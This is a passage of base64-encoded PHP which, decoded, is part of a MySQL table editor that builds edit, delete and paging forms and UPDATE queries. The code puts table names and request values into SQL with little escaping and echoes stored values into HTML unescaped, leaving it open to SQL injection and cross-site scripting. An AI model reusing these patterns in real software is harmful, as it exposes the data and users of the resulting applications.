sNCiAgICAgICAgICAgZWNobyI8dGQ+PHNlbGVjdCBuYW1lPSdhcnJheVskaV0nPiI7DQogICAgICAgfQ0KICAgICAgIGZvcigkeT0wOyAkeTwkbnVtOyR5Kyspew0KICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0kbm5ld3N0cmluZ1skeV0+JG5uZXdzdHJpbmdbJHldIjsNCiAgICAgICB9DQogICAgICAgIGVjaG8iPC9zZWxlY3Q+PC90ZD48L3RyPlxuIjsNCiAgICAvLyBFbmQgb2YgbmV3IGNvZGUgYmxvY2sgZm9yIHNldCBkcm9wIGRvd24NCiAgICAgIH1lbHNlew0KICAgICAgIGVjaG8iPHRkPiR0eXBlPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdhcnJheVskaV0nIHNpemU9JyRmbGVuJyAvPjwvdGQ+PC90cj5cbiI7DQogICAgICB9DQogfQ0KIGVjaG8iPHRyPjx0ZD48aW5wdXQgY2xhc3M9YnV0IHR5cGU9c3VibWl0IG5hbWU9J2FkZHJlYycgdmFsdWU9J0FkZCBSZWNvcmQnIC8+PC90ZD5cbiI7DQogZWNobyI8dGQ+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPXJlc2V0IG5hbWU9J3Jlc2V0JyB2YWx1ZT0nUmVzZXQgRm9ybScgLz48L3RkPlxuIjsNCiBlY2hvIjwvdHI+IjsNCiBlY2hvIjwvdGFibGU+XG4iOw0KIGVjaG8iPC9mb3JtPlxuIjsNCn0NCg0KDQovLyoqKioqKioqKioqKioqKioqKioqKkVkaXQgRm9ybSAqKioqKioqKioqKioqKioNCmZ1bmN0aW9uIGVkaXRmb3JtKCR0YWJsZW5hbWUsICRkYm5hbWUsICRyZXN1bHQsICRlZGl0LCAkcGssICRwdil7DQogICAgICAgICRyb3c9bXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQogICAgICAgIGVjaG8iPGZvcm0gYWN0aW9uPSckYWN0aW9uJyAgbWV0aG9kPXBvc3Q+XG4iOw0KICAgICAgICBlY2hvIjx0YWJsZSBib3JkZXI9MCB3aWR0aCA9JzEwMCUnIGFsaWduPSdjZW50ZXInPlxuIjsNCg0KICAgICAgICAkZmxkcyA9IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQogICAgICAgICRmaWVsZHMgPSBteXNxbF9saXN0X2ZpZWxkcygkZGJuYW1lLCAkdGFibGVuYW1lKTsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0YWJsZW5hbWUnIC8+XG4iOw0KDQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J2RibmFtZScgdmFsdWU9JyRkYm5hbWUnIC8+XG4iOw0KICAgICAgICBlY2hvIjx0cj4iOw0KICAgICAgICAkbXhsZW4gPSA4MDsvL21heCB3aWR0aCBvZiB0aGUgZm9ybSBmaWVsZHMNCiAgICAgICAgZm9yKCRpPTA7ICRpIDwgJGZsZHM7ICRpKyspew0KICAgICAgICAkZm5hbWU9bXlzcWxfZmllbGRfbmFtZSgkZmllbGRzLCAkaSk7DQogICAgICAgICAgICAgICAgZWNobyAiPHRoPiRmbmFtZSI7DQogICAgICAgICAgICAgICAgICRmbGVuID0gbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsvL2xlbmd0aCBvZiB0aGUgZmllbGQNCiAgICAgICAgICAgICAgICAkbnNsYXNoID0gU3RyaXBTbGFzaGVzKCRyb3dbJGldKTsNCiAgICAgICAgLy8gU3RhcnQgb2YgbmV3IGNvZGUgZm9yIHNldCBkcm9wIGRvd24NCiAgICAgICRuZXdzcWwgPSAic2hvdyBjb2x1bW5zIGZyb20gJHRhYmxlbmFtZSBsaWtlICclIi4kZm5hbWUuIiciOw0KICAgICAgJG5ld3Jlc3VsdCA9IGV4ZXF1ZXJ5KCRuZXdzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgICAgJGFycj1teXNxbF9mZXRjaF9hcnJheSgkbmV3cmVzdWx0KTsNCiAgICAvLyBFbmQgb2YgbmV3IGNvZGUgYmxvY2sgZm9yIHNldCBkcm9wIGRvd24NCg0KICAgICAgICAgICAgICAgIGlmKCRmbGVuID4gJG14bGVuKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyd3M9ICRmbGVuLyRteGxlbjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHJ3cz4xMCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyd3M9MTA7IC8vbWF4IGxlbmd0aCBvZiB0ZXh0YXJlYQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGQ+PHRleHRhcmVhIG5hbWU9J2FycmF5WyRpXScgcm93cz0kcndzIGNvbHM9JG14bGVuPiRuc2xhc2g8L3RleHRhcmVhPjwvdGQ+PC90cj5cbiI7DQovLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgICAgIH1lbHNlaWYgKHN0cm5jbXAoJGFyclsxXSwnc2V0JywzKT09MCB8fCBzdHJuY21wKCRhcnJbMV0sJ2VudW0nLDQpPT0wKXsgIC8vIFdlIGhhdmUgYSBmaWVsZCB0eXBlIG9mIHNldCBvciBlbnVtDQogICAgICAgICAgICRudW09c3Vic3RyX2NvdW50KCRhcnJbMV0sJywnKSArIDE7ICAvLyBjb3VudCB0aGUgbnVtYmVyIG9mIGVudHJpZXMNCiAgICAgICAgICAgJHBvcz1zdHJwb3MoJGFyclsxXSwnKCcgKTsgLy9maW5kIHRoZSBwb3NpdGlvbiBvZiAnKCcNCiAgICAgICAgICAgJG5ld3N0cmluZz1zdWJzdHIoJGFyclsxXSwkcG9zKzEpOyAgLy8gZ2V0IHJpZCBvZiB0aGUgJz8/PygnDQogICAgICAgICAgICRzbmV3c3RyaW5nPXN0cl9yZXBsYWNlKCcpJywnJywkbmV3c3RyaW5nKTsgLy8gZ2V0IHJpZCBvZiB0aGUgbGFzdCAnKScNCiAgICAgICAgICAgJG5uZXdzdHJpbmc9ZXhwbG9kZSgnLCcsJHNuZXdzdHJpbmcsJG51bSk7IC8vIHN0aWNrIGludG8gYW4gYXJyYXkNCiAgICAgICAgICAgaWYoc3RybmNtcCgkYXJyWzFdLCdzZXQnLDMpPT0wICl7Ly9TZXRzIGNhbiBoYXZlIGNvbWJpbmF0aW9ucyBvZiB2YWx1ZXMNCiAgICAgICAgICAgICAgIGVjaG8iPHRkPjxzZWxlY3QgbmFtZT0nYXJyYXlbJGldW10nIG11bHRpcGxlIHNpemU9JzMnPiI7DQogICAgICAgICAgIH1lbHNley8vRW51bSBvbmUgdmFsdWUgb25seQ0KICAgICAgICAgICAgICAgZWNobyI8dGQ+PHNlbGVjdCBuYW1lPSdhcnJheVskaV0nPiI7DQogICAgICAgICAgIH0NCiAgICAgICAgICAgJG5zZWw9ZXhwbG9kZSgiLCIsJG5zbGFzaCk7DQogICAgICAgICAgZm9yKCR5PTA7ICR5PCRudW07JHkrKyl7DQogICAgICAgICAgICAgICAgLy9nZXRlYWNoIHZhbHVlICdhLGIsYycNCiAgICAgICAgICAgICAgICAkc2VsPSIiOw0KICAgICAgICAgICAgICAgIGZvcigkZT0wOyAkZTxjb3VudCgkbnNlbCk7JGUrKyl7DQogICAgICAgICAgICAgICAgICAgIGlmKCRubmV3c3RyaW5nWyR5XT09IiciLiRuc2VsWyRlXS4iJyIpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNlbD0ic2VsZWN0ZWQiOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0kbm5ld3N0cmluZ1skeV0gJHNlbD4kbm5ld3N0cmluZ1skeV0iOw0KICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvIjwvc2VsZWN0PjwvdGQ+PC90cj5cbiI7DQovLyBFbmQgb2YgbmV3IGNvZGUgYmxvY2sgZm9yIHNldCBkcm9wIGRvd24NCg0KDQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdhcnJheVskaV0nIHNpemU9JyRmbGVuJyB2YWx1ZT0nJG5zbGFzaCcgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmb3IoJGYgPTA7ICRmPCBjb3VudCgkcGspOyRmKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wa1skZl0gdmFsdWU9JyRwa1skZl0nIC8+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cHZbJGZdIHZhbHVlPSckcHZbJGZdJyAvPlxuIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyI8dHI+PHRkPjxpbnB1dCBjbGFzcz1idXQgdHlwZT1zdWJtaXQgbmFtZT0nZWRpdHJlYycgdmFsdWU9J1VwZGF0ZScgLz48L3RkPlxuIjsNCiAgICAgICAgZWNobyI8dGQ+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPXJlc2V0IG5hbWU9J3Jlc2V0JyB2YWx1ZT0nUmVzZXQgRm9ybScgLz48L3RkPlxuIjsNCiAgICAgICAgZWNobyI8L3RyPiI7DQogICAgICAgIGVjaG8iPC90YWJsZT5cbiI7DQogICAgICAgIGVjaG8iPC9mb3JtPlxuIjsNCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKioqRWRpdCBSZWNvcmQqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBlZGl0cmVjKCRkYm5hbWUsICR0YWJsZW5hbWUsICRwaywgJHB2LCAkYXJyYXkpew0KDQogICAgICAgIC8vJHJlc3VsdCA9IEBteXNxbF9xdWVyeSggIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIgKTsNCiAgICAkcmVzdWx0ID0gZXhlcXVlcnkoIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgICAgICAkZmxkcyA9IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQogICAgICAgICRmaWVsZHMgPSBteXNxbF9saXN0X2ZpZWxkcygkZGJuYW1lLCAkdGFibGVuYW1lKTsNCg0KLy9CdWlsZCBRdWVyeQ0KICAgICAgICAgICAkcXJ5PSIiOw0KICAgICRxdWVyeSA9ICJVUERBVEUgJHRhYmxlbmFtZSBzZXQgIjsNCiAgICAgICAgZm9yICgkeCA9MDsgJHggPCAkZmxkczsgJHgrKyl7DQogICAgICAgICAgICAgICAgJGZpZSA9IG15c3FsX2ZpZWxkX25hbWUoJGZpZWxkcywgJHggKTsNCiAgICAgICAgLy8gU0VUIGFuZCBFTlVNDQogICAgICAgICBpZihpc19hcnJheSgkYXJyYXlbJHhdKSl7DQogICAgICAgICAgICAkbXZhbD0iIjsNCiAgICAgICAgICAgIGZvcigkbT0wOyAkbSA8IGNvdW50KCRhcnJheVskeF0pOyAkbSsrKXsNCiAgICAgICAgICAgICAgICBpZigkbSsxID09IGNvdW50KCRhcnJheVskeF0pKXsNCiAgICAgICAgICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1bJG1dKTsNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1bJG1dKS4iLCI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRmdmFsID0gJG12YWw7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAkZnZhbCA9IEFkZFNsYXNoZXMoJGFycmF5WyR4XSk7DQogICAgICAgIH0NCiAgICAgICAgLy8qKioqKioqKioqKioqKioqKioqKioqKioqKg0KICAgICAgICAgICAgICAgIC8vJGZ2YWwgPSBBZGRTbGFzaGVzKCRhcnJheVskeF0pOw0KICAgICAgICAgICAgICAgICRxcnkgLj0gIiRmaWUgPSAnJGZ2YWwnIjsNCiAgICAgICAgICAgICAgICBpZiAoJHggPCAkZmxkcy0xKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRxcnkuPSAiLCAiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkd2hyID0gYnVpbGR3aHIoICRwaywgJHB2KTsNCiAgICAgICAgJHdociA9U3RyaXBTbGFzaGVzKCR3aHIpOw0KICAgICAgICAkcXVlcnkgLj0gIiRxcnkiOw0KICAgICAgICAkcXVlcnkgLj0gIiB3aGVyZSAkd2hyIjsNCg0KICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAgaWYoJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KfQ0KLy8qKioqKioqKioqKioqKioqKiogTnVtYmVyIG9mIFByaW1hcnkgS2V5cyAqKioqKioqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gbnVtcGsoJHJlc3VsdCl7DQogICAgICAgICR6ID0wOw0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkZmxkczsgJGkrKykgew0KICAgICAgICAgICAgICAgIC8vRmluZCB0aGUgcHJpbWFyeSBrZXkNCiAgICAgICAgICAgICAgICAkZmxhZ3N0cmluZyA9IG15c3FsX2ZpZWxkX2ZsYWdzICgkcmVzdWx0LCAkaSk7DQogICAgICAgICAgICAgICAgaWYoZXJlZ2koInByaW1hcnkiLCRmbGFnc3RyaW5nICkpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHorKzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICR6Ow0KfQ0KLy8qKioqKioqKioqKioqKioqKioqKlNpemUgZmllbGQqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gZmllbGRmb3Jtc2l6ZSgkZnQsICRpLCAkbCl7DQogICAgICAgICRmdD0gdHJpbShzdHJ0b3VwcGVyKCRmdCkpOw0KICAgICAgICBpZigkZnQgPT0iREFURSIgfHwgJGZ0PT0iVElNRSIgfHwgJGZ0PT0gIkRBVEVUSU1FIiApew0KICAgICAgICB9ZWxzZWlmKCAkZnQ9PSJUSU5ZVEVYVCIgfHwgJGZ0PT0iQkxPQiIgfHwgJGZ0PT0iVEVYVCIgfHwgJGZ0ID09Ik1FRElVTUJMT0IiKXsNCiAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdsZW5nWyRpXScgdmFsdWU9JGw+IjsNCiAgICAgICAgfWVsc2VpZigkZnQ9PSJNRURJVU1URVhUIiB8fCAkZnQ9PSJMT05HQkxPQiJ8fCAkZnQ9PSJMT05HVEVYVCIgfHwgJGZ0PT0iVElOWUJMT0IiKXsNCiAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdsZW5nWyRpXScgdmFsdWU9JGw+IjsNCiAgICAgICAgfWVsc2VpZigkZnQ9PSJJTlQiIHx8ICRmdD09IlRJTllJTlQifHwgJGZ0PT0iU01BTExJTlQifHwgJGZ0PT0iTUVESVVNSU5UInx8ICRmdD09IkJJR0lOVCIgfHwgJGZ0PT0iSU5URUdFUiIpew0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsZW5nWyRpXScgc2l6ZT01ICB2YWx1ZT0kbD4iOw0KICAgICAgICB9ZWxzZWlmKCRmdD09IllFQVIiICl7DQogICAgICAgICAgICAgICAgZWNobyI8c2VsZWN0IG5hbWU9J2xlbmdbJGldJz4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0nNCc+NCI7DQogICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhbHVlPScyJz4yIjsNCiAgICAgICAgICAgICAgICBlY2hvIjwvc2VsZWN0PlxuIjsNCiAgICB9ZWxzZWlmKCRmdD09IlNFVCJ8fCAkZnQ9PSJFTlVNIil7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsZW5nWyRpXScgdGl0bGU9J3ZhbHVlcyBlZyBcImFcIiwgXCJiXCIsIFwiY1wiJyB2YWx1ZT0nJyAvPiI7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsZW5nWyRpXScgc2l6ZT01IHZhbHVlPSRsIC8+XG4iOw0KICAgICAgICB9DQp9DQoNCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqRGlzcGxheSBSb3cgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBkaXNwbGF5cm93KCRkYm5hbWUsICR0YmwsICRwaywgJHBrZmllbGQsICRjcGssICRyb3csICRmbGRzKXsNCiAgICAgICAgJHBrZnM9IiI7DQogICAgICAgICRodj0iIjsNCiAgICAgICAgJGhmPSIiOw0KDQogICAgICAgIGlmKCRjcGsgPjAgJiYgIWVtcHR5KCRwa2ZpZWxkKSl7DQogICAgICAgICAgICAgICAgZm9yKCRhID0gMDsgJGEgPCAkY3BrOyAkYSsrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWVsZG4gPSAkcGtmaWVsZFskYV07DQogICAgICAgICAgICAgICAgICAgICAgICAkaGYgLj0gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXBrWyRhXSB2YWx1ZT0nJHBrZmllbGRbJGFdJyAvPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkaHYgLj0gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXB2WyRhXSB2YWx1ZT0nJHJvd1skZmllbGRuXScgLz4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfWVsc2V7IC8vTm8gUHJpbWFyeSBLZXkgc28gdXNlIGFsbCBmaWVsZHMNCiAgICAgICAgICAgICAgICAkZmllbGRzID0gbXlzcWxfbGlzdF9maWVsZHMoJGRibmFtZSwgJHRibCk7DQogICAgICAgICAgICAgICAgZm9yKCRiID0gMDsgJGIgPCAkZmxkczsgJGIrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmllID0gbXlzcWxfZmllbGRfbmFtZSgkZmllbGRzLCAkYiApOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGhmIC49ICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wa1skYl0gdmFsdWU9JyRmaWUnIC8+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICRodiAuPSAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cHZbJGJdIHZhbHVlPSckcm93WyRiXScgLz4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvIjx0cj5cbiI7DQogICAgICAgIC8vZWRpdCBSZWNvcmQNCiAgICAgICAgZWNobyI8dGQ+PGZvcm0gYWN0aW9uPSckYWN0aW9uJyBtZXRob2Q9cG9zdD5cbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSckZGJuYW1lJyAvPlxuIjsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0YmwnIC8+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5wa2V5cyB2YWx1ZT0nJGNwaycgLz5cbiI7DQogICAgICAgIGVjaG8iJGhmIjsNCiAgICAgICAgZWNobyIkaHYiOw0KICAgICAgICBlY2hvIjxpbnB1dCBjbGFzcz1zbWwgdHlwZT1zdWJtaXQgbmFtZT1lZGl0IHZhbHVlPSdFZGl0IFJlY29yZCcgLz5cbiI7DQogICAgICAgIGVjaG8iPC9mb3JtPjwvdGQ+XG4iOw0KDQogICAgICAgIC8vRGVsZXRlIHJlY29yZA0KICAgICAgICBlY2hvIjx0ZD48Zm9ybSBhY3Rpb249JyRhY3Rpb24nIG1ldGhvZD1wb3N0PlxuIjsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JyRkYm5hbWUnIC8+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRhYmxlbmFtZSB2YWx1ZT0nJHRibCcgLz5cbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bnVtIHZhbHVlPSckY3BrJyAvPlxuIjsNCiAgICAgICAgZWNobyIkaGYiOw0KICAgICAgICBlY2hvIiRodiI7DQogICAgICAgIGVjaG8iPGlucHV0IGNsYXNzPXNtbGRlbCB0eXBlPXN1Ym1pdCBuYW1lPWRlbGV0ZSB2YWx1ZT0nRGVsZXRlIFJlY29yZCcgLz5cbiI7DQogICAgICAgIGVjaG8iPC9mb3JtPjwvdGQ+IjsNCg0KICAgICAgICAvL0Rpc3BsYXkgYWxsIHRoZSBjb2x1bW5zLg0KICAgICAgICBmb3IoJGNvbCA9IDA7ICRjb2wgPCAkZmxkczsgJGNvbCArKyl7DQogICAgICAgICAgICAgICAgJG5zbGFzaCA9IFN0cmlwU2xhc2hlcygkcm93WyRjb2xdKTsNCiAgICAgICAgICAgICAgICBlY2hvIjx0ZD4kbnNsYXNoPC90ZD4iOw0KICAgICAgICB9DQogICAgICAgIGVjaG8iPC90cj4iOw0KDQp9DQovLyoqKioqKioqKioqKioqKioqKioqKioqUmVtb3ZlIEFycmF5IENvcHkqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KLy9yZW1vdmVzIGNvcGllcyBmcm9tIGFuIGFycmF5ICR4Lg0KDQpmdW5jdGlvbiByZW1vdmVhcnJheWNvcHkoJHgpew0KICAgICAgICAkbGVuZz0gY291bnQoJHgpOw0KICAgICAgICBzb3J0KCR4KTsNCiAgICAgICAgJGZhcnI9YXJyYXkoKTsNCg0KICAgICAgICBmb3IgKCRpID0wOyAkaSA8ICRsZW5nOyAkaSsrKXsNCiAgICAgICAgICAgICAgICAkZmxhZz1mYWxzZTsNCiAgICAgICAgICAgICAgICBmb3IgKCRzID0wOyAkcyA8IGNvdW50KCRmYXJyKTsgJHMrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkeFskaV09PSRmYXJyWyRzXSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmbGFnPXRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkZmxhZyA9PSBmYWxzZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmFycltjb3VudCgkZmFycildID0gJHhbJGldOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGZhcnI7DQp9DQovLyoqKioqKioqKioqKioqKioqKioqKioqPDwgcGFnZSBwb3NpdGlvbiA+PioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiB3aGljaHBhZ2UoJG51bV9yb3dzLCAkcGFnZW1heCwgJHBnLCAkdGFibGVuYW1lLCAkc2VhcmNodmFsKXsNCiAgICAgICAgJHBncyA9ICRudW1fcm93cy8kcGFnZW1heDsNCiAgICAgICAgJHBncz1jZWlsKCRwZ3MpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vcm91bmQgdXAgdGhlIG51bWJlciBvZiBwYWdlcy4NCiAgICAgICAgZWNobyI8Zm9ybSBhY3Rpb249JyRhY3Rpb24nIGlkPSdyZWNzcGFnZScgbWV0aG9kPSdwb3N0JyBuYW1lPSdyZWNzcGFnZSc+XG4iOw0KICAgIGVjaG8iVG90YWwgbnVtYmVyIG9mIHJlY29yZHMgJG51bV9yb3dzLCBkaXNwbGF5ZWQgb24gJHBncyBwYWdlcyBvZiBcbiI7DQogICAgZWNobyI8aW5wdXQgdHlwZT0ndGV4dCcgIG5hbWU9J3BhZ2VtYXgnIHZhbHVlPSckcGFnZW1heCcgc2l6ZT0nNCcgb25jaGFuZ2U9J2phdmFzY3JpcHQ6dGhpcy5mb3JtLnN1Ym1pdCgpOycgdGl0bGU9J1R5cGUgdGhlIG51bWJlciByZWNvcmRzIHRvIGRpc3BsYXkgb24gYSBwYWdlIHRoZW4gY2xpY2sgb3V0c2lkZSB0aGUgYm94JyAvPiBcbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc2VhcmNodmFsJyB2YWx1ZT0nJHNlYXJjaHZhbCcgIC8+XG4iOw0KICAgIGVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ndGFibGVuYW1lJyB2YWx1ZT0nJHRhYmxlbmFtZScgIC8+XG4iOw0KICAgIGVjaG8icmVjb3JkcyBwZXIgcGFnZS48L2Zvcm0+IFxuIjsNCiAgICAkcGFnZXNjcm9sPSIiOw0KICAgICRzdmFsPSIiOw0KICAgICAgICAgIGlmKCRwZ3MgPjEpew0KICAgICAgICAgICAgJHBhZ2VzY3JvbD0iPGRpdiBjbGFzcz0ncGFnZWNvdW50Jz5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkbnh0PSRwZysxOw0KICAgICAgICAgICAgJGJrPSRwZy0xOw0KICAgICAgICAgICAgJGxzdD0kcGdzOw0KICAgICAgICAgICAgJGVuZD0kbHN0LTE7DQogICAgICAgICAgICAkc2hvd3A9JHBnKzE7DQogICAgICAgICAgIGlmKCRzZWFyY2h2YWwgIT0iIil7DQogICAgICAgICAgICAkc3ZhbD0iJmFtcDtzZWFyY2h2YWw9JHNlYXJjaHZhbCI7DQogICAgICAgICAgIH0NCiAgICAgICAgICAgJHBhZ2VzY3JvbCAuPSAiPGZvcm0gbmFtZT0ncGFnZXMnIGlkPSdwYWdlcycgYWN0aW9uPSckYWN0aW9uJyBtZXRob2Q9J2dldCc+XG4iOw0KICAgICAgICAgICAgaWYoJHBnPj0xKXsNCiAgICAgICAgICAgICAgICAkcGFnZXNjcm9sIC49ICIgPGEgaHJlZj0nJGFjdGlvbj90YWJsZW5hbWU9JHRhYmxlbmFtZSZhbXA7cGc9MCRzdmFsJyB0aXRsZT0nVG8gZmlyc3QgcGFnZSc+IDEgOjw8IDwvYT4gXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZXNjcm9sIC49ICIgPGEgaHJlZj0nJ2FjdGlvbic/dGFibGVuYW1lPSR0YWJsZW5hbWUmYW1wO3BnPSRiayRzdmFsJyB0aXRsZT0nQmFjayBvbmUgcGFnZSc+IDwgPC9hPiBcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwZycgdmFsdWU9JyRzaG93cCcgc2l6ZT0nNCcgb25jaGFuZ2U9J2phdmFzY3JpcHQ6dGhpcy5mb3JtLnN1Ym1pdCgpOycgdGl0bGU9J1R5cGUgYSBwYWdlIG51bWJlciB0aGVuIGNsaWNrIG91dHNpZGUgdGhlIGJveCcgLz5cbiI7DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3BiYWNrJyB2YWx1ZT0ndHJ1ZScgIC8+XG4iOw0KICAgICAgICAgICAkcGFnZXNjcm9sIC49ICI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzZWFyY2h2YWwnIHZhbHVlPSckc2VhcmNodmFsJyAgLz5cbiI7DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3RhYmxlbmFtZScgdmFsdWU9JyR0YWJsZW5hbWUnICAvPlxuIjsNCg0KICAgICAgICAgICBpZigkc2hvd3AgPCAkbHN0KXsNCiAgICAgICAgICAgICAgICAkcGFnZXNjcm9sIC49ICIgPGEgaHJlZj0nJ2FjdGlvbic/dGFibGVuYW1lPSR0YWJsZW5hbWUmYW1wO3BnPSRueHQkc3ZhbCcgdGl0bGU9J05leHQgcGFnZSc+ID4gPC9hPiBcbiI7DQogICAgICAgICAgICAgICAgJHBhZ2VzY3JvbCAuPSAiIDxhIGhyZWY9JydhY3Rpb24nP3RhYmxlbmFtZT0kdGFibGVuYW1lJmFtcDtwZz0kZW5kJHN2YWwnIHRpdGxlPSdUbyBMYXN0IHBhZ2UnPiA+PjogJGxzdDwvYT4gXG4iOw0KICAgICAgICAgICB9DQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIjwvZm9ybT5cbiI7DQogICAgICAgICAgICRwYWdlc2Nyb2wuPSI8L2Rpdj5cbiI7DQogICAgICB9DQogICAgICAgIHJldHVybiAkcGFnZXNjcm9sOw0KfQ0KDQovLyoqKioqKi